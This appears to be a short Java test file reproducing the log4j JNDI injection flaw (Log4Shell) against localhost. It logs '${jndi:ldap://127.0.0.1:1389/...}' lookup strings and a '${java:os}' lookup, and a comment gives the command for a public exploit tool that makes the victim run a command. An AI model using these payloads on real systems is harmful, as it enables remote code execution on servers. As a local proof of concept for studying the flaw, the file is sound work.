package com.david;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author David Zheng
 * @date 2021/12/11
 *
 * https://github.com/welk1n/JNDI-Injection-Exploit
 *
 * log4j jndi漏洞
 *
 *
 *
 * $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1
 *
 * -C :命令
 * -A :目标ip
 *
 */
class LogTest {
    public static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
//        logger.error("${jndi:ldap://127.0.0.1:1389/848wfi}");



        logger.error("${jndi:ldap://127.0.0.1:1389/ebejp9}");

        String user = "${java:os}";


        logger.error("user = {}",user);

    }
}
